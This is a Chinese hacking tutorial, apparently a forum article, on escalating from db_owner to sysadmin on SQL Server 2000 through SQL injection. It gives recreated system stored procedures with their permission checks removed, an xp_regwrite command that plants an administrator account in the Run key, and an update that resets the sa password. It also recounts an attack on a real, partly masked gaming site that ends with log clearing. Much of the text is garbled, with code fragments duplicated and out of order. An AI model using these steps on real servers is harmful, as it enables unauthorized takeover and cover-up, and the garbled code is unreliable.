————只要給我一個注射點(diǎn)，無論什么權(quán)限，我都給你一個webshell甚至系統(tǒng)權(quán)限 呵呵，哆嗦拉那么多，你可能看的已經(jīng)不耐煩拉，好，這就介紹我的三大必殺技之一————萬能提權(quán)。 假如一個網(wǎng)站存在sql注射漏洞，如果這個網(wǎng)站是用固定服務(wù)器sysadmin權(quán)限的用戶作的連接（呵呵，通俗點(diǎn)說就是sa，菜鳥可以這樣認(rèn)為)，呵呵，想要拿到一個webshell或者是系統(tǒng)權(quán)限可以說是易如反掌，輕而易舉的事，據(jù)我所知，sysadmin權(quán)限要拿到webshell或者系統(tǒng)權(quán)限不下10種，呵呵，可能更多吧（偶只會10種），sysadmin怎么拿到webshell或者系統(tǒng)權(quán)限，我不想多說，想比大家都已經(jīng)爛熟于心拉，可是要是一個網(wǎng)站是db_owner權(quán)限呢？你怎么辦，你怎么拿系統(tǒng)權(quán)限，怎么拿webshell（沒有上傳漏洞和數(shù)據(jù)庫備份等功能），大家可能回說backup a shell，我記得LCX也在《MSSQL db_owner角色注入直接獲得系統(tǒng)權(quán)限》里說過拉“備份得到的shell只是理論化的東東，如果一個webshell有20mb的話，你還能用它嗎？”呵呵，要是我告訴你db_owner拿到一個webshell或者是系統(tǒng)權(quán)限的方法和sysadmin權(quán)限的一樣多，你回有什么反映，是不是覺得有點(diǎn)不可思議，或者又是我胡說呢？（不相信的朋友，下面的內(nèi)容就不要看拉） 呵呵，是不是看的心癢癢拉，迫不及待的想知道啊，好，我不在廢話拉，這就把我的三大必殺技之一————萬能提升權(quán)限方法告訴大家。 在告訴大家之前，我們先做個實(shí)驗(yàn).實(shí)驗(yàn)環(huán)境windowsxp sp1+SQL 2000 sp3,大家跟著我來step to step,首先新建一個具有db_owner的權(quán)限的用戶，這里我是xwq（就是在服務(wù)器角色里面什么都不要選，在數(shù)據(jù)庫角色里面鉤上db_owner)，好，現(xiàn)在我們打開查詢分析器用xwq連上后再里面輸入sp_addlogin xuwenqiang,執(zhí)行看看，出現(xiàn)拉什么？ 服務(wù)器: 消息 15247，級別 16，狀態(tài) 1，過程 sp_addlogin，行 17 CONFIGURABLE??? -- CHECK PERMISSIONS -- -- DISALLOW USER TRANSACTION -- -- VALIDATE LOGIN NAME AS: --Note: different case sa is allowed. -- LOGIN NAME MUST NOT ALREADY EXIST -- @loginame) -- VALIDATE DEFAULT DATABASE -- -- VALIDATE DEFAULT LANGUAGE -- language if @deflanguage is null -- VALIDATE SID IF GIVEN -- -- VALIDATE AND USE ENCRYPTION OPTION -- encryption (30), convert(varchar(30), @passwd))) -- ATTEMPT THE INSERT OF THE NEW LOGIN -- -- UPDATE PROTECTION TIMESTAMP FOR MASTER DB, TO INDICATE SYSLOGINS CHANGE -- -- FINALIZATION: RETURN SUCCESS/FAILURE -- GO 之所以只有 sysadmin 和 securityadmin 固定服務(wù)器角色的成員才可以執(zhí)行 sp_addlogin，主要是這里一段再搞鬼 drop procedure sp_addlogin CONFIGURABLE??? -- VALIDATE LOGIN NAME AS: --Note: different case sa is allowed. -- LOGIN NAME MUST NOT ALREADY EXIST -- @loginame) -- VALIDATE DEFAULT DATABASE -- -- VALIDATE DEFAULT LANGUAGE -- language if @deflanguage is null -- VALIDATE SID IF GIVEN -- -- VALIDATE AND USE ENCRYPTION OPTION -- encryption (30), convert(varchar(30), @passwd))) -- ATTEMPT THE INSERT OF THE NEW LOGIN -- -- UPDATE PROTECTION TIMESTAMP FOR MASTER DB, TO INDICATE SYSLOGINS CHANGE -- -- FINALIZATION: RETURN SUCCESS/FAILURE -- GO ：create procedure sp_addsrvrolemember -- DISALLOW USER TRANSACTION -- -- VALIDATE SERVER ROLE NAME, CHECKING PERMISSIONS -- NULL) NULL) -- AUDIT A SUCCESSFUL SECURITY CHECK -- -- CANNOT CHANGE SA ROLES -- -- OBTAIN THE BIT FOR THIS ROLE -- -- ADD ROW FOR NT LOGIN IF NEEDED -- loginname = @loginame) -- UPDATE ROLE MEMBERSHIP -- xdate2 = getdate() -- UPDATE PROTECTION TIMESTAMP FOR MASTER DB, TO INDICATE SYSLOGINS CHANGE -- raiserror(15488,-1,-1,@loginame,@rolename) -- FINALIZATION: RETURN SUCCESS/FAILURE GO 把這一段刪除 -- VALIDATE SERVER ROLE NAME, CHECKING PERMISSIONS -- NULL) NULL) 下面再舉一個萬能提權(quán)的例子,和我一起打造一個永遠(yuǎn)不會被殺及完美的后門我們都知道在sql中有個被黑客稱為后門的用戶，那就是sa，sa 是內(nèi)置的管理員登錄，而且不能進(jìn)行更改和刪除。呵呵，這是M$說的，要是你看過我寫的另外一篇文章《完全刪除sa這個后門》就知道，其實(shí)sa也是好刪除的。我們知道在sql可以改密碼的存儲過程有sp_password,可是我們必須知道要改的用戶的舊密碼，才可以更改，那么有沒有辦法再不知道舊密碼的情況下更改sa的密碼呢？有，其實(shí)也就是利用sp_configure,sp_configure的功能是顯示或更改當(dāng)前服務(wù)器的全局配置設(shè)置。sp_configure（用于更改配置選項(xiàng)）的執(zhí)行許可權(quán)限默認(rèn)授予 sysadmin和 serveradmin 固定服務(wù)器角色。這很容易只要把sp_configure中檢查權(quán)限的一段刪除，再重建，我們就好用拉。 @configname varchar(35) = NULL -- option name to configure set nocount on declare "advanced" opts declare @fullconfigname varchar (35) /* type='C') update master.dbo.spt_values /* the master.dbo.syscurconfigs and return (0) /* @prevvalue = min (c.value) /* print ' ' /* master.dbo.syscurconfigs and return (1) /* return. select duplicate_options = name return (1) /* select v.name return (0) /* /* /* /* if (@configvalue & (1024+2048) = (1024+2048)) -- ansi_null_default_on/off /* --Msg 15002, but in 6.5 allow this inside a txn (not check @@trancount) #12828. /* /* become raiserror(15457,-1,-1, @fullconfigname, @prevvalue, @configvalue) with log return (0) -- sp_configure GO ok，我們再 好拉這樣我們才好更改sa的密碼。接著update sysxlogins set password=0x0100AB01431E944AA50CBB30267F53B9451B7189CA67AF19A 1FC944AA50CBB30267F53B9451B7189CA67AF19A1FC where sid=0x01,這樣sa的密碼就被我們改成拉111111拉。呵呵，解決的方法就是把sa給刪拉。，怎么刪可以參考我的《完全刪除sa這個后門》。 CONFIGURABLE??? -- VALIDATE LOGIN NAME AS: --Note: different case sa is allowed. -- LOGIN NAME MUST NOT ALREADY EXIST -- @loginame) -- VALIDATE DEFAULT DATABASE -- -- VALIDATE DEFAULT LANGUAGE -- language if @deflanguage is null -- VALIDATE SID IF GIVEN -- -- VALIDATE AND USE ENCRYPTION OPTION -- encryption (30), convert(varchar(30), @passwd))) -- ATTEMPT THE INSERT OF THE NEW LOGIN -- -- UPDATE PROTECTION TIMESTAMP FOR MASTER DB, TO INDICATE SYSLOGINS CHANGE -- -- FINALIZATION: RETURN SUCCESS/FAILURE -- GO OK,我們新建個用戶exec master..sp_addlogin xwq -- DISALLOW USER TRANSACTION -- -- OBTAIN THE BIT FOR THIS ROLE -- -- ADD ROW FOR NT LOGIN IF NEEDED -- loginname = @loginame) -- UPDATE ROLE MEMBERSHIP -- xdate2 = getdate() -- UPDATE PROTECTION TIMESTAMP FOR MASTER DB, TO INDICATE SYSLOGINS CHANGE -- raiserror(15488,-1,-1,@loginame,@rolename) -- FINALIZATION: RETURN SUCCESS/FAILURE GO 這篇文章是我自2004年4月份裝上SQL以來利用課余時間學(xué)習(xí)研究的，12月初旬寫完，由于危害太大，我一直都不太敢發(fā)布，相信國內(nèi)也有人知道的。只是不公開而已。經(jīng)過再三考慮還是決定發(fā)布了，希望大家掌握了以后，不要對國內(nèi)的站點(diǎn)做任何具有破壞性的操作。
聲明：本文僅用于教學(xué)目的，如果因?yàn)楸疚脑斐傻墓艉蠊救烁挪回?fù)責(zé)。因?yàn)榘l(fā)覺其危害過大，原文已經(jīng)經(jīng)過大量刪減及修改，即使這樣本文的危害性仍然很大，所以請大家不要對國內(nèi)的站點(diǎn)做任何具有破壞性的操作。考慮再三，偶還是決定發(fā)出來。此招手段歹毒，利用范圍廣泛，可以說是只要是有sql注射漏洞的網(wǎng)站，只要運(yùn)用此法99%可以拿到webshell甚至系統(tǒng)權(quán)限（不敢把話說滿，呵呵，經(jīng)本人數(shù)百次真實(shí)“實(shí)戰(zhàn)演習(xí)”，基本上是100%可以拿到webshell甚至系統(tǒng)權(quán)限）。
記得我在《MSSQL db_owner角色注入直接獲得系統(tǒng)權(quán)限（續(xù)）》中寫過一種利用xp_regwrite來取得系統(tǒng)權(quán)限的方法：xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\currentvers ion\run','xwq1','REG_SZ','net user xwq xwq /add'
xp_regwrite HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\currentvers ion\run','xwq2','REG_SZ','net localgroup administrators xwq /add'，只要讓網(wǎng)站所在的服務(wù)器重起，就能得到系統(tǒng)權(quán)限。經(jīng)過本人的數(shù)百次的真實(shí)實(shí)驗(yàn)，這種方法不太實(shí)用，很容易引起網(wǎng)管的注意，再說ddos也是違法的事（偶可是好人啊），發(fā)動一場ddos要花費(fèi)的大量的人力，物力（看你的肉雞多少拉）。所以不太可行（除非是你十分想要搞定的網(wǎng)站）。
服務(wù)器: 消息 2571，級別 14，狀態(tài) 2，過程 sp_addlogin，行 16
用戶 'xwq' 沒有運(yùn)行 DBCC auditevent 的權(quán)限。
用戶沒有執(zhí)行此操作的權(quán)限。
呵呵，出現(xiàn)上面的錯誤信息這很正常，因?yàn)橹挥衧ysadmin 和 securityadmin 固定服務(wù)器角色的成員才可以執(zhí)行 sp_addlogin，那么怎么才好讓sp_addlogin為我所用呢？我們在這里看一下sp_addlogin的代碼：
create procedure sp_addlogin
@loginame sysname
,@passwd sysname = Null
,@defdb ; ; sysname = 'master' -- UNDONE: DEFAULT
,@deflanguage sysname = Null
,@sid varbinary(16) = Null
,@encryptopt varchar(20) = Null
AS
-- SETUP RUNTIME OPTIONS / DECLARE VARIABLES --
set nocount on
Declare @ret int -- return value of sp call
IF (not is_srvrolemember('securityadmin') = 1)
begin
dbcc auditevent (104, 1, 0, @loginame, NULL, NULL, @sid)
raiserror(15247,-1,-1)
return (1)
end
ELSE
begin
dbcc auditevent (104, 1, 1, @loginame, NULL, NULL, @sid)
end
set implicit_transactions off
IF (@@trancount > 0)
begin
raiserror(15002,-1,-1,'sp_addlogin')
return (1)
end
-- (1) Valid SQL Name (SQL LOGIN)
-- (2) No backslash (NT users only)
-- (3) Not a reserved login name
execute @ret = sp_validname @loginame
if (@ret <> 0)
return (1)
if (charindex('\', @loginame) > 0)
begin
raiserror(15006,-1,-1,@loginame)
return (1)
end
if (@loginame = 'sa' or lower(@loginame) in ('public'))
begin
raiserror(15405, -1 ,-1, @loginame)
return (1)
end
if exists(select * from master.dbo.syslogins where loginname =
begin
raiserror(15025,-1,-1,@loginame)
return (1)
end
IF db_id(@defdb) IS NULL
begin
raiserror(15010,-1,-1,@defdb)
return (1)
end
IF (@deflanguage IS NOT Null)
begin
Execute @ret = sp_validlang @deflanguage
IF (@ret <> 0)
return (1)
end
ELSE
begin
select @deflanguage = name from master.dbo.syslanguages
where langid = @@default_langid --server default
select @deflanguage = N'us_english'
end
if ((@sid IS NOT Null) and (datalength(@sid) <> 16))
begin
raiserror(15419,-1,-1)
return (1)
end
else if @sid is null
select @sid = newid()
if (suser_sname(@sid) IS NOT Null)
begin
raiserror(15433,-1,-1)
return (1)
end
declare @xstatus smallint
select @xstatus = 2 -- access
if @encryptopt is null
select @passwd = pwdencrypt(@passwd)
else if @encryptopt = 'skip_encryption_old'
begin
select @xstatus = @xstatus | 0x800, -- old-style
@passwd = convert(sysname, convert(varbinary
end
else if @encryptopt <> 'skip_encryption'
begin
raiserror(15600,-1,-1,'sp_addlogin')
return 1
end
INSERT INTO master.dbo.sysxlogins VALUES
(NULL, @sid, @xstatus, getdate(),
getdate(), @loginame, convert(varbinary(256), @passwd),
db_id(@defdb), @deflanguage)
if @@error <> 0 -- this indicates we saw duplicate row
return (1)
exec('use master grant all to null')
raiserror(15298,-1,-1)
return (0) -- sp_addlogin
-- CHECK PERMISSIONS --
IF (not is_srvrolemember('securityadmin') = 1)
begin
dbcc auditevent (104, 1, 0, @loginame, NULL, NULL, @sid)
raiserror(15247,-1,-1)
return (1)
end
ELSE
begin
dbcc auditevent (104, 1, 1, @loginame, NULL, NULL, @sid)
end
只要我們把這段代碼刪拉，任何權(quán)限的用戶都可以增加用戶拉。
好，我們先把sp_addlogin刪拉
然后再來恢復(fù)sp_addlogin
create procedure sp_addlogin
@loginame sysname
,@passwd sysname = Null
,@defdb ; ; sysname = 'master' -- UNDONE: DEFAULT
,@deflanguage sysname = Null
,@sid varbinary(16) = Null
,@encryptopt varchar(20) = Null
AS
-- SETUP RUNTIME OPTIONS / DECLARE VARIABLES --
set nocount on
Declare @ret int -- return value of sp call
-- DISALLOW USER TRANSACTION --
set implicit_transactions off
IF (@@trancount > 0)
begin
raiserror(15002,-1,-1,'sp_addlogin')
return (1)
end
-- (1) Valid SQL Name (SQL LOGIN)
-- (2) No backslash (NT users only)
-- (3) Not a reserved login name
execute @ret = sp_validname @loginame
if (@ret <> 0)
return (1)
if (charindex('\', @loginame) > 0)
begin
raiserror(15006,-1,-1,@loginame)
return (1)
end
if (@loginame = 'sa' or lower(@loginame) in ('public'))
begin
raiserror(15405, -1 ,-1, @loginame)
return (1)
end
if exists(select * from master.dbo.syslogins where loginname =
begin
raiserror(15025,-1,-1,@loginame)
return (1)
end
IF db_id(@defdb) IS NULL
begin
raiserror(15010,-1,-1,@defdb)
return (1)
end
IF (@deflanguage IS NOT Null)
begin
Execute @ret = sp_validlang @deflanguage
IF (@ret <> 0)
return (1)
end
ELSE
begin
select @deflanguage = name from master.dbo.syslanguages
where langid = @@default_langid --server default
select @deflanguage = N'us_english'
end
if ((@sid IS NOT Null) and (datalength(@sid) <> 16))
begin
raiserror(15419,-1,-1)
return (1)
end
else if @sid is null
select @sid = newid()
if (suser_sname(@sid) IS NOT Null)
begin
raiserror(15433,-1,-1)
return (1)
end
declare @xstatus smallint
select @xstatus = 2 -- access
if @encryptopt is null
select @passwd = pwdencrypt(@passwd)
else if @encryptopt = 'skip_encryption_old'
begin
select @xstatus = @xstatus | 0x800, -- old-style
@passwd = convert(sysname, convert(varbinary
end
else if @encryptopt <> 'skip_encryption'
begin
raiserror(15600,-1,-1,'sp_addlogin')
return 1
end
INSERT INTO master.dbo.sysxlogins VALUES
(NULL, @sid, @xstatus, getdate(),
getdate(), @loginame, convert(varbinary(256), @passwd),
db_id(@defdb), @deflanguage)
if @@error <> 0 -- this indicates we saw duplicate row
return (1)
exec('use master grant all to null')
raiserror(15298,-1,-1)
return (0) -- sp_addlogin
這樣我這個只具有db_owner權(quán)限的xwq就可以任意增加用戶拉，ok，在查詢分析器里面在輸入sp_addlogin xuwenqiang，執(zhí)行看看，GOOD!返回已創(chuàng)建新登錄。我新建拉一個用戶xuwenqiang，當(dāng)然這個用戶我可不是白建的，我要把他變成具有最高權(quán)限的用戶，在sql中具有最高權(quán)限的當(dāng)然是sysadmin拉，而把一個用戶變成sysadmin只有sp_addsrvrolemember這個存儲過程拉，可是只有sysadmin權(quán)限的用戶才好使用，不爽，偶要讓他為我所用，呵呵，聰明的讀者一定想到拉我怎么讓只具有db_owner權(quán)限的我，怎么使用sp_addsrvrolemember拉，沒錯，和讓sp_addlogin為我所用的方法一樣，只要去掉sp_addsrvrolemember中權(quán)限限制的一段，我們就可以任意增加sysadmin拉，我們先看看sp_addsrvrolemember的代碼
@loginame sysname, -- login name
@rolename sysname = NULL -- server role name
as
-- SETUP RUNTIME OPTIONS / DECLARE VARIABLES --
set nocount on
declare @ret int, -- return value of sp call
@rolebit smallint,
@ismem int
set implicit_transactions off
IF (@@trancount > 0)
begin
raiserror(15002,-1,-1,'sp_addsrvrolemember')
return (1)
end
select @ismem = is_srvrolemember(@rolename)
if @ismem is null
begin
dbcc auditevent (108, 1, 0, @loginame, NULL, @rolename,
raiserror(15402, -1, -1, @rolename)
return (1)
end
if @ismem = 0
begin
dbcc auditevent (108, 1, 0, @loginame, NULL, @rolename,
raiserror(15247,-1,-1)
return (1)
end
dbcc auditevent (108, 1, 1, @loginame, NULL, @rolename, NULL)
if @loginame = 'sa'
begin
raiserror(15405, -1 ,-1, @loginame)
return (1)
end
select @rolebit = CASE @rolename
WHEN 'sysadmin' THEN 16
WHEN 'securityadmin' THEN 32
WHEN 'serveradmin' THEN 64
WHEN 'setupadmin' THEN 128
WHEN 'processadmin' THEN 256
WHEN 'diskadmin' THEN 512
WHEN 'dbcreator' THEN 1024
WHEN 'bulkadmin' THEN 4096
ELSE NULL END
if not exists(select * from master.dbo.syslogins where
begin
execute @ret = sp_MSaddlogin_implicit_ntlogin @loginame
if (@ret <> 0)
begin
raiserror(15007,-1,-1,@loginame)
return (1)
end
end
update master.dbo.sysxlogins set xstatus = xstatus | @rolebit,
where name = @loginame and srvid IS NULL
exec('use master grant all to null')
return (@@error) -- sp_addsrvrolemember
select @ismem = is_srvrolemember(@rolename)
if @ismem is null
begin
dbcc auditevent (108, 1, 0, @loginame, NULL, @rolename,
raiserror(15402, -1, -1, @rolename)
return (1)
end
if @ismem = 0
begin
dbcc auditevent (108, 1, 0, @loginame, NULL, @rolename,
raiserror(15247,-1,-1)
return (1)
end
這樣我們就可以任意增加sysadmin拉，呵呵，爽啊。在查詢分析器里輸入sp_addsrvrolemember xuwenqiang,sysadmin,Yeah!!!!!!!成功拉。到這里我們就成功利用拉一個只具有db_owner權(quán)限的用戶新建拉一個在SQL中具有至高無上權(quán)限，也就是具有sysadmin權(quán)限的用戶xuwenqiang,有拉sysadmin權(quán)限想要webshell或者系統(tǒng)權(quán)限還不容易么！不要只把眼睛只放在我所說的sp_addlogin和sp_addsrvrolemember這兩個存儲過程上，凡是只有sysadmin才好使用的存儲過程，利用我的萬能提權(quán)必殺技，我們都可以使用。比如：sp-configure,sp_addlinkedserver,sp_addlinkedsrvlogin,sp_makewebtask等等很多只好sysadmin權(quán)限能利用的，我們都可以讓他們?yōu)槲宜谩?/p>
CREATE PROCEDURE sp_configure --- 1996/08/14 09:43
,@configvalue int = NULL -- new configuration value
as
@confignum int --Num of the opt to be configured
,@configcount int --Num of options like @configname
,@show_advance int --Y/N Read&Write actions on
declare @prevvalue int
/*
** Determine @maxnumber based on advance option in syscurconfigs.
*/
if (select value from master.dbo.syscurconfigs where config = 518) = 1
select @show_advance = 1 -- Display advanced options
else
select @show_advance = 0 -- Don't display advanced options
** Make certain that max user info. reflects any addpak upgrades.
*/
if (select high from master.dbo.spt_values where number=103 and
<> @@max_connections
set high = @@max_connections
where number = 103
and type='C'
** If no option name is given, the procedure will just print out all
** options and their values.
*/
if @configname is NULL
begin
select name, minimum = low, maximum = high,
config_value = c.value,
run_value = master.dbo.syscurconfigs.value
from master.dbo.spt_values, master.dbo.sysconfigures c,
where type = 'C'
and number = c.config
and number = master.dbo.syscurconfigs.config
((c.status & 2 <> 0 and @show_advance = 1)
OR
(c.status & 2 = 0)
)
order by lower(name)
end
** Use @configname and try to find the right option.
** If there isn't just one, print appropriate diagnostics and return.
*/
select @configcount = count(*), @fullconfigname = min (v.name),
from master.dbo.spt_values v ,master.dbo.sysconfigures c
where v.name like '%' + @configname + '%' and v.type = 'C'
and v.number = c.config
and
((c.status & 2 <> 0 and @show_advance = 1)
OR
(c.status & 2 = 0)
)
** If no option, show the user what the options are.
*/
if @configcount = 0
begin
raiserror (15123,-1,-1,@configname)
raiserror (15456,-1,-1)
** Show the user what the options are.
*/
select name, minimum = low, maximum = high,
config_value = c.value,
run_value = master.dbo.syscurconfigs.value
from master.dbo.spt_values, master.dbo.sysconfigures c,
where type = 'C'
and number = c.config
and number = master.dbo.syscurconfigs.config
((c.status & 2 <> 0 and @show_advance = 1)
OR
(c.status & 2 = 0)
)
end
** If more than one option like @configname, show the duplicates and
*/
if @configcount > 1
begin
raiserror (15124,-1,-1,@configname)
print ' '
from master.dbo.spt_values,master.dbo.sysconfigures c
where name like '%' + @configname + '%'
and type = 'C'
and number = c.config
and
((c.status & 2 <> 0 and @show_advance = 1)
OR
(c.status & 2 = 0)
)
end
else
/* There must be exactly one, so get the full name. */
select @configname = name --,@value_in_sysconfigures = c.value
from master.dbo.spt_values,master.dbo.sysconfigures c
where name like '%' + @configname + '%' and type = 'C'
and number = c.config
and
((c.status & 2 <> 0 and @show_advance = 1)
OR
(c.status & 2 = 0)
)
** If @configvalue is NULL, just show the current state of the option.
*/
if @configvalue is null
begin
,v.low as 'minimum'
,v.high as 'maximum'
,c.value as 'config_value'
,u.value as 'run_value'
from
master.dbo.spt_values v left outer join
master.dbo.sysconfigures c on v.number = c.config
left outer join
master.dbo.syscurconfigs u on v.number = u.config
where
v.type = 'C '
and v.name like '%' + @configname + '%'
and
((c.status & 2 <> 0 and @show_advance = 1)
OR
(c.status & 2 = 0)
)
end
** Now get the configuration number.
*/
select @confignum = number
from master.dbo.spt_values,master.dbo.sysconfigures c
where type = 'C'
and (@configvalue between low and high or @configvalue = 0)
and name like '%' + @configname + '%'
and number = c.config
and
((c.status & 2 <> 0 and @show_advance = 1)
OR
(c.status & 2 = 0)
)
** If this is the number of default language, we want to make sure
** that the new value is a valid language id in Syslanguages.
*/
if @confignum = 124
begin
if not exists (select * from master.dbo.syslanguages
where langid = @configvalue)
begin
/* 0 is default language, us_english */
if @configvalue <> 0
begin
raiserror(15127,-1,-1)
return (1)
end
end
end
** If this is the number of kernel language, we want to make sure
** that the new value is a valid language id in Syslanguages.
*/
if @confignum = 132
begin
if not exists (select * from master.dbo.syslanguages
where langid = @configvalue)
begin
/* 0 is default language, us_english */
if @configvalue <> 0
begin
raiserror(15028,-1,-1)
return (1)
end
end
end
** "user options" should not try to set incompatible options/values.
*/
if @confignum = 1534 --"user options"
begin
begin
raiserror(15303,-1,-1,@configvalue)
return (1)
end
end
** Although the @configname is good, @configvalue wasn't in range.
*/
if @confignum is NULL
begin
raiserror(15129,-1,-1,@configvalue,@configname)
return (1)
end
** Now update sysconfigures.
*/
update master.dbo.sysconfigures set value = @configvalue
where config = @confignum
** Flush the procedure cache - this is to account for options which
** effective immediately (ie. dont need a server restart).
*/
dbcc freeproccache
sp_configure 'allow updates',1
go
RECONFIGURE WITH OVERRIDE
go
實(shí)例：
下面對一個國內(nèi)非常出名的站點(diǎn)進(jìn)行善意的攻擊測試，來對上面的知識進(jìn)行一次大概的驗(yàn)證，出于影響等諸多因素，我們稱這個站點(diǎn)為www.**173.com。www.**173.com這個站點(diǎn)在游戲上很有名氣,排名在前20名（我當(dāng)時測試的時候），在這里我不想說我怎么找到的注射點(diǎn)，大家還可以找找，還是滿多的（整個測試可真花費(fèi)拉我不少時間，別誤會，我不是說時間花在“檢測”上，而是都放在寫程序里面拉，不寫個像樣點(diǎn)的程序，怎么讓我為所欲為呢？整個攻擊只有10分鐘不到）。
在找到的注射點(diǎn)gametype=**（郁悶，要是當(dāng)時測試的時候有nbsi2，偶可能要輕松不少），先輸入drop procedure sp_addlogin,然后在IE里面輸入（呵呵，我當(dāng)然是在我寫的程序里面輸入拉）
create procedure sp_addlogin
@loginame sysname
,@passwd sysname = Null
,@defdb ; ; sysname = 'master' -- UNDONE: DEFAULT
,@deflanguage sysname = Null
,@sid varbinary(16) = Null
,@encryptopt varchar(20) = Null
AS
-- SETUP RUNTIME OPTIONS / DECLARE VARIABLES --
set nocount on
Declare @ret int -- return value of sp call
-- DISALLOW USER TRANSACTION --
set implicit_transactions off
IF (@@trancount > 0)
begin
raiserror(15002,-1,-1,'sp_addlogin')
return (1)
end
-- (1) Valid SQL Name (SQL LOGIN)
-- (2) No backslash (NT users only)
-- (3) Not a reserved login name
execute @ret = sp_validname @loginame
if (@ret <> 0)
return (1)
if (charindex('\', @loginame) > 0)
begin
raiserror(15006,-1,-1,@loginame)
return (1)
end
if (@loginame = 'sa' or lower(@loginame) in ('public'))
begin
raiserror(15405, -1 ,-1, @loginame)
return (1)
end
if exists(select * from master.dbo.syslogins where loginname =
begin
raiserror(15025,-1,-1,@loginame)
return (1)
end
IF db_id(@defdb) IS NULL
begin
raiserror(15010,-1,-1,@defdb)
return (1)
end
IF (@deflanguage IS NOT Null)
begin
Execute @ret = sp_validlang @deflanguage
IF (@ret <> 0)
return (1)
end
ELSE
begin
select @deflanguage = name from master.dbo.syslanguages
where langid = @@default_langid --server default
select @deflanguage = N'us_english'
end
if ((@sid IS NOT Null) and (datalength(@sid) <> 16))
begin
raiserror(15419,-1,-1)
return (1)
end
else if @sid is null
select @sid = newid()
if (suser_sname(@sid) IS NOT Null)
begin
raiserror(15433,-1,-1)
return (1)
end
declare @xstatus smallint
select @xstatus = 2 -- access
if @encryptopt is null
select @passwd = pwdencrypt(@passwd)
else if @encryptopt = 'skip_encryption_old'
begin
select @xstatus = @xstatus | 0x800, -- old-style
@passwd = convert(sysname, convert(varbinary
end
else if @encryptopt <> 'skip_encryption'
begin
raiserror(15600,-1,-1,'sp_addlogin')
return 1
end
INSERT INTO master.dbo.sysxlogins VALUES
(NULL, @sid, @xstatus, getdate(),
getdate(), @loginame, convert(varbinary(256), @passwd),
db_id(@defdb), @deflanguage)
if @@error <> 0 -- this indicates we saw duplicate row
return (1)
exec('use master grant all to null')
raiserror(15298,-1,-1)
return (0) -- sp_addlogin
再drop procedure sp_addsrvrolemember,然后在IE里輸入
create procedure sp_addsrvrolemember
@loginame sysname, -- login name
@rolename sysname = NULL -- server role name
as
-- SETUP RUNTIME OPTIONS / DECLARE VARIABLES --
set nocount on
declare @ret int, -- return value of sp call
@rolebit smallint,
@ismem int
set implicit_transactions off
IF (@@trancount > 0)
begin
raiserror(15002,-1,-1,'sp_addsrvrolemember')
return (1)
end
-- CANNOT CHANGE SA ROLES --
if @loginame = 'sa'
begin
raiserror(15405, -1 ,-1, @loginame)
return (1)
end
select @rolebit = CASE @rolename
WHEN 'sysadmin' THEN 16
WHEN 'securityadmin' THEN 32
WHEN 'serveradmin' THEN 64
WHEN 'setupadmin' THEN 128
WHEN 'processadmin' THEN 256
WHEN 'diskadmin' THEN 512
WHEN 'dbcreator' THEN 1024
WHEN 'bulkadmin' THEN 4096
ELSE NULL END
if not exists(select * from master.dbo.syslogins where
begin
execute @ret = sp_MSaddlogin_implicit_ntlogin @loginame
if (@ret <> 0)
begin
raiserror(15007,-1,-1,@loginame)
return (1)
end
end
update master.dbo.sysxlogins set xstatus = xstatus | @rolebit,
where name = @loginame and srvid IS NULL
exec('use master grant all to null')
return (@@error) -- sp_addsrvrolemember
接著再exec master..sp_addsrvrolemember xwq,sysadmin我們拿sql綜合利用工具或者查詢分析器連上看看，呵呵，成功拉，這樣我們就在www.**17173.com的服務(wù)器上建拉一個具有最高權(quán)限的用戶xwq拉，下面的事我想大家都應(yīng)該回做拉吧。呵呵，因?yàn)橹皇前踩珳y試，我并沒有深入下去，刪拉帳號，清除日志，閃人。
看到拉吧，我的必殺技之一——萬能提權(quán)的威力拉吧，只要是給我一個注射點(diǎn)，無論什么權(quán)限，我都會給你一個webshell甚至系統(tǒng)權(quán)限.呵呵，其實(shí)說萬能的提升權(quán)限方法的確是有點(diǎn)夸張拉，因?yàn)镃REATE PROCEDURE 的權(quán)限默認(rèn)授予 sysadmin 固定服務(wù)器角色成員和 db_owner 和 db_ddladmin 固定數(shù)據(jù)庫角色成員，你要是碰到Public的權(quán)限，那就不好使用拉。不過不要以為換成public權(quán)限,就沒有辦法拿到webshell或者系統(tǒng)權(quán)限拉，恰恰相反，據(jù)我所知public權(quán)限的用戶拿到webshell甚至系統(tǒng)權(quán)限的方法至少也有5種。最好的防范方法就是杜絕注射漏洞，這才是治標(biāo)又治本的解決方法。（呵呵，要是我說，最好連public的權(quán)限都不要給，可惜已經(jīng)沒有比public權(quán)限更低的角色拉，沒辦法誰叫public也可以利用很多有危險(xiǎn)的存儲過程呢，而且public無法除去，看來M$對我們這些“壞人”還是很厚愛的哦）
后記
再這篇文章里我并沒有提到public權(quán)限的用戶怎么拿到webshell或者系統(tǒng)權(quán)限，而據(jù)我所知public權(quán)限的用戶拿到webshell甚至系統(tǒng)權(quán)限的方法至少5種（偶目前只會5種，可能還有更多的方法，要是哪位高手會更多，希望能不吝賜教，偶先謝拉），鑒于危害實(shí)在太太大，現(xiàn)在還不是公布這些關(guān)鍵技術(shù)細(xì)節(jié)的時候，等到拉一個適當(dāng)?shù)臅r機(jī)，我會把我所掌握的知識無私奉獻(xiàn)給大家再重申一次。不要對任何國家的任何合法主機(jī)進(jìn)行破壞，否則后果自負(fù)。
